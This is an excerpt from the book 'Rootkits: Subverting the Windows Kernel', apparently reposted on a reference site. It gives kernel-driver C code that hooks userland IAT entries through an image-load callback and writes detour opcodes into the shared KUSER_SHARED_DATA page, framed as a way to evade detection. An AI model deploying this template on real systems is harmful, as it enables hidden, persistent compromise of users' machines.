A Hybrid Hooking Approach

 < Day Day Up > 

Userland hooks have their place. They are usually easier to implement than kernel-mode hooks. Also, some of the functions your rootkit may be designed to filter may not have obvious paths through the kernel.

However, we do not recommend implementing a rootkit using userland hooks. The reason: if a detection mechanism is implemented in the kernel, your rootkit will not be on an even footing with its adversary, the detection software.

Typically, the detection process involves observing the ways in which code is induced to execute in another process's address space. When this mode of detection or prevention is expected, a hybrid approach may be the answer. The hybrid hooking approach is designed to hook a userland process by using an Import Address Table (IAT) hook, but to do so without opening a handle to the target process, using WriteProcessMemory, changing a Registry key, or engaging in other readily detectable activities.

The HybridHook example presented in the following discussion hooks the userland process from a kernel driver.

Getting into a Process's Address Space

The operating system provides a very useful function if you want to be notified when your target process or DLL is loaded. It is called PsSetImageLoadNotifyRoutine. As the name suggests, this function registers a driver callback routine that will be called every time an image is loaded into memory. The function takes only one parameter, the address of your callback function. Your callback routine should be declared as follows:

 VOID MyImageLoadNotify(IN PUNICODE_STRING,                        IN HANDLE,                        IN PIMAGE_INFO); 

The UNICODE_STRING contains the name of the module loaded by the kernel. The HANDLE parameter is the Process ID (PID) of the process the module is being loaded into. Your rootkit is already in the memory context of this PID. The IMAGE_INFO structure is full of good information your rootkit will need, such as the base address of the image being loaded into memory. It is defined as follows:

 typedef struct  _IMAGE_INFO {     union {       ULONG  Properties;       struct {           ULONG ImageAddressingMode  : 8; //code addressing mode           ULONG SystemModeImage      : 1; //system mode image           ULONG ImageMappedToAllPids : 1; //mapped in all processes           ULONG Reserved             : 22;       };     };     PVOID  ImageBase;     ULONG  ImageSelector;     ULONG  ImageSize;     ULONG  ImageSectionNumber; } IMAGE_INFO, *PIMAGE_INFO; 

In your callback function, you must determine whether this is a module whose IAT you wish to hook. If you do not know which modules in the process import a particular function you want to filter, you can hook all the IATs pointing to the function you want to hook. The following example hooks all the modules by calling HookImportsOfImage to parse the module and find its IAT entries. The code designed to target only a particular executable or DLL has been commented out.

 ///////////////////////////////////////////////////////// // MyImageLoadNotify gets called when an image is loaded // into kernel or user space. At this point, you could // filter your hook based on ProcessId or on the name of // of the image. Otherwise you could hook all the IAT's // that refer to the function you want to filter. VOID MyImageLoadNotify(IN PUNICODE_STRING  FullImageName,                        IN HANDLE  ProcessId, // Process contains image                        IN PIMAGE_INFO  ImageInfo) { //    UNICODE_STRING u_targetDLL;       //DbgPrint("Image name: %ws\n", FullImageName->Buffer);       // Setup the name of the DLL to target //    RtlInitUnicodeString(&u_targetDLL, //                         L"\\WINDOWS\\system32\\kernel32.dll"); //    if(RtlCompareUnicodeString(FullImageName,&u_targetDLL, TRUE) == 0) //    {           HookImportsOfImage(ImageInfo->ImageBase, ProcessId); //    } } 

HookImportsOfImage walks the PE file in memory. Most Windows binaries are in the Portable Executable (PE) format. In memory, the file looks much like it does on disk. Most of the items contained in the PE are Relative Virtual Addresses (RVAs). These are offsets to the actual data relative to where the PE is loaded in memory. Your rootkit should parse the PE of each module, looking at all the DLLs it imports.

You first need the RVA of the import section, the IMAGE_DIRECTORY_ENTRY_IMPORT of the DataDirectory. Adding this RVA to the beginning address of the module in memory (dosHeader in this case) yields a pointer to the first IMAGE_IMPORT_DESCRIPTOR.

Every DLL imported by the module has a corresponding IMAGE_IMPORT_DESCRIPTOR structure. When your rootkit reaches one that has a 0 in its Characteristics field, you know you have reached the end of the DLLs this module imports.

Contained in each IMAGE_IMPORT_DESCRIPTOR structure (besides the last structure) are pointers to two separate arrays. One is a pointer to an array of addresses for each function the module imports from the given DLL. Use the FirstThunk member of the IMAGE_IMPORT_DESCRIPTOR to reach the table of addresses. The OriginalFirstThunk in the IMAGE_IMPORT_DESCRIPTOR is used to find the array of pointers to IMAGE_IMPORT_BY_NAME structures, which contain the names of the imported functions unless the functions are imported by ordinal number. (Importing functions by ordinal number will not be covered here because most functions are imported by name.)

HookImportsOfImage scans all modules to determine whether they import the GetProcAddress function from KERNEL32.DLL. If it finds this IAT, it changes the memory protections on the IAT using code explained in the section Hooking the System Service Descriptor Table, earlier in this chapter. Once the permissions are changed, your rootkit can overwrite the address in the IAT with the address of the hook, as will be explained next.

 NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc) {    PIMAGE_DOS_HEADER dosHeader;    PIMAGE_NT_HEADERS pNTHeader;    PIMAGE_IMPORT_DESCRIPTOR importDesc;    PIMAGE_IMPORT_BY_NAME p_ibn;    DWORD importsStartRVA;    PDWORD pd_IAT, pd_INTO;    int count, index;    char *dll_name = NULL;    char *pc_dlltar = "kernel32.dll";    char *pc_fnctar = "GetProcAddress";    PMDL  p_mdl;    PDWORD MappedImTable;    dosHeader = (PIMAGE_DOS_HEADER) image_addr;    pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader,                         dosHeader->e_lfanew );    // First, verify that the e_lfanew field gave us a reasonable    // pointer, then verify the PE signature.    if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )       return STATUS_INVALID_IMAGE_FORMAT;    importsStartRVA = pNTHeader->OptionalHeader.DataDirectory    [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;    if (!importsStartRVA)       return STATUS_INVALID_IMAGE_FORMAT;   importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA +                                           (DWORD) dosHeader);    for (count = 0; importDesc[count].Characteristics != 0; count++)    {       dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);       pd_IAT = (PDWORD)(((DWORD) dosHeader) +                            (DWORD)importDesc[count].FirstThunk);       pd_INTO = (PDWORD)(((DWORD) dosHeader) +              (DWORD)importDesc[count].OriginalFirstThunk);       for (index = 0; pd_IAT[index] != 0; index++)       {         // If this is an import by ordinal          // the high bit is set          if((pd_INTO[index] & IMAGE_ORDINAL_FLAG)!= IMAGE_ORDINAL_FLAG)          {             p_ibn = (PIMAGE_IMPORT_BY_NAME)                     (pd_INTO[index]+((DWORD)                     dosHeader));             if ((_stricmp(dll_name, pc_dlltar) == 0) &&                 (strcmp(p_ibn->Name, pc_fnctar) == 0))             {                // Use the trick you already learned to map a different                // virtual address to the same physical page so no                // permission problems.                //                // Map the memory into our domain so we can change the                // permissions on the MDL                p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);                if(!p_mdl)                   return STATUS_UNSUCCESSFUL;                MmBuildMdlForNonPagedPool(p_mdl);                // Change the flags of the MDL                p_mdl->MdlFlags = p_mdl->MdlFlags |                                  MDL_MAPPED_TO_SYSTEM_VA;                MappedImTable = MmMapLockedPages(p_mdl, KernelMode);                // Address of the "new function"                *MappedImTable = d_sharedM;                // Free MDL                MmUnmapLockedPages(MappedImTable, p_mdl);                IoFreeMdl(p_mdl);             }          }       }    }    return STATUS_SUCCESS; } 

Now you have a callback in place that will be called when every image (every process, device driver, DLL, etc.) is loaded into memory. Your code has searched every image, checking if it imports the target of your hook. If the target function is found, its address in the IAT is replaced. All that remains is to write the rootkit function to which the IAT points.

If you are hooking every process on the system, you need a memory address for your hook that is visible to all the processes' address spaces. In the following section, we cover this issue.

Memory Space for Hooks

One of the problems with userland hooks is that your rootkit must usually allocate space within the remote process in order to write parameters for LoadLibrary, or to write code. This is a red flag for protection software. However, there is a region in the kernel to which you can write and that will get mapped into every process address space. This is the technique used by Barnaby Jack in his paper "Remote Windows Kernel Exploitation: Step into the Ring 0."[10] The trick takes advantage of the fact that two virtual addresses map to the same physical address. The kernel address, 0xFFDF0000, and the user address, 0x7FFE0000, both point to the same physical page. The kernel address is writable, but the user address is not. Your rootkit can write code to the kernel address and reference it as the user address in the IAT hook.

[10] B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal.: eEye Digital Security, 2005), available at: http://www.eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf

The size of this shared region is 4 K. The kernel uses some of this space, but your rootkit should still have available about 3 K for code and variables.

The name of this memory area is KUSER_SHARED_DATA. For a more detailed explanation of this shared region, in WinDbg type: dt nt!_KUSER_SHARED_DATA.

As an example of writing to KUSER_SHARED_DATA, we will write eight bytes to the address we will name d_sharedK. For the first byte, which is an opcode, use a NOP instruction or an INT 3 (break) instruction if you want to observe the behavior. (You should have a debugger running that will catch the INT 3 if you decide to use it.) The next seven bytes simply move a dummy address into EAX and then jump to that address. When your rootkit finds the IAT of the function it wants to hook, it will overwrite this dummy address with the original address of the function. Your rootkit would have to write a much more advanced function to memory to truly filter a function's output, but that is beyond the scope of this chapter.

 DWORD d_sharedM = 0x7ffe0800; // A User Address DWORD d_sharedK = 0xffdf0800; // A Kernel Address // Little detour unsigned char new_code[] = {       0x90,                          // NOP make INT 3 to see       0xb8, 0xff, 0xff, 0xff, 0xff,  // mov eax, 0xffffffff       0xff, 0xe0                     // jmp eax }; if (!gb_Hooked) {     // Writing the raw opcodes to memory     // uses a kernel address that gets mapped     // into the address space of all processes.     // Thanks to Barnaby Jack for this tip.     RtlCopyMemory((PVOID)d_sharedK, new_code, 8);     // pd_IAT[index] holds the original address     RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4);     gb_Hooked = TRUE; } 

Rootkit.com

You can find the code for this hybrid hook example at: www.rootkit.com/vault/fuzen_op/HybridHook.zip


Now you have a template for a hybrid rootkit that hooks userland addresses but does so from a driver. As with most of the techniques in this book, you could use this algorithm to write a rootkit or to hook potentially dangerous functions, thus providing an additional layer of protection. In fact, many protection software suites call PsSetImageLoadNotifyRoutine.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net